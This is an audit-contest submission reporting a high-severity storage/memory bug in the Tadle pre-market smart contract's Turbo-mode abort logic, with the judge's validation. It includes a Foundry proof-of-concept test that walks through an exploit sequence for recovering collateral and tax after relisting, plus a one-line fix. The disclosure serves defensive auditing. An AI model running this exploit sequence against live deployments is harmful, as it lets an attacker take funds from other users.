Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Improper abortOfferStatus Update in Turbo Mode Allows Maker to Abort Offer even After Buyer Sub-Listing

oxelmiguel

Summary

This issue arises because the contract does not correctly update the abortOfferStatus when a sub-offer is listed, which enables some seller to bypass collateral requirements.

Vulnerability Details

When a buyer relist stock points he buy from an ask offer in Turbo mode, the contract should change the abortOfferStatus to AbortOfferStatus.SubOfferListed to prevent the maker from aborting their offer. However, the current implementation does not correctly update offerInfo.abortOfferStatus.

In the current code, when an offer is sublisted in turbo mode, offer.abortOfferStatus should be updated as follows:

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L335

/// @dev change abort offer status when offer settle type is turbo
if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
​
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
}
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
// to tell this offer is sublisted in turbo mode
}

However, this code does not effectively update the state of the originOffer, allowing the maker to abort their offer even after relisting.

The issue arises because the code that attempts to update the abortOfferStatus does not actually modify the persistent state of the contract. Specifically, the originOfferInfo is a local variable in the function, and while it appears to be updated within the function, these changes do not affect the actual storage in the contract.

Proof of concept

  1. alice create an ask offer in turbo mode

  2. alice buy points from her own offer

  3. Alice relists the points she bought in a new ask offer

  4. Alice aborts her offers:

  • Alice then calls abortAskOffer and abortBidTaker to cancel her original ask offer and the bid taker, which should not be allowed if a sub-offer is listed.

  1. Alice withdraws all her funds:

  • After aborting, Alice withdraws all her collateral and funds, effectively creating a new ask offer without locking any collateral.

function test_offer_without_collateral() public {
// create two users
address alice = vm.addr(10); // the atacker
address bob = vm.addr(11); // legitimate user
deal(address(mockUSDCToken), alice, 20350 );
deal(address(mockUSDCToken), bob, 10500 );
​
// alice the attacker create an ask order
vm.startPrank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
10000,
10000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address aliceOffr = GenerateAddress.generateOfferAddress(0);
address aliceStock1 = GenerateAddress.generateStockAddress(0);
// alice buy 1000 point from his own offer
preMarktes.createTaker(aliceOffr, 1000);
address aliceStock2 = GenerateAddress.generateStockAddress(1);
​
// alice relist her point
preMarktes.listOffer(aliceStock2, 10000, 10000);
address aliceRelistOffer = GenerateAddress.generateOfferAddress(1);
​
// alice aborted her offers execpt the relistOffer
preMarktes.abortAskOffer(aliceStock1,aliceOffr);
preMarktes.abortBidTaker(aliceStock2, aliceOffr);
// after aborting alice should be able to withdraw all her collateral
// should be 20 300 usdc (fist collateral + second collateral + taxRate)
vm.stopPrank();
​
// bob a legitimate user want to buy point on the marketplace
// he choose alice relistOffer and buy all the point
// alice balance increase by 10 000 usdc + taxRate (300 usdc)
vm.startPrank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(aliceRelistOffer, 1000);
vm.stopPrank();
​
// alice withdraw all her fund
vm.startPrank(alice);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
vm.stopPrank();
​
// alice usdc balance increase by 10.250
assertEq(mockUSDCToken.balanceOf(alice), 30600);
}

Impact

The vulnerability allows users to create and maintain offers without locking any collateral, leading to financial losses for other users, enabling market manipulation, and undermining the platform's trustworthiness.

Tools Used

manual review, foundry

Recommendations

To ensure the correct persistence of the abortOfferStatus in Turbo mode, the code should be modified to update the storage variable directly. The following change can be made:

/// @dev change abort offer status when offer settle type is turbo
if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
​
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
}
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
offerInfoMap[originOffer] = originOfferInfo;
// to tell this offer is sublisted in turbo mode
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-originIOfferInfo-storage-memory

Valid high severity, because the `abortOfferStatus` of the offer is not updated and persist through `storage` when listing an offer for turbo mode within the `offerInfoMap` mapping, it allows premature abortion given the `abortOfferStatus` defaults to `Initialized`, allowing the bypass of this [check](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L552-L557) here and allow complete refund of initial collateral + stealing of trade tax which can potentially be gamed for profits using multiple addresses

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.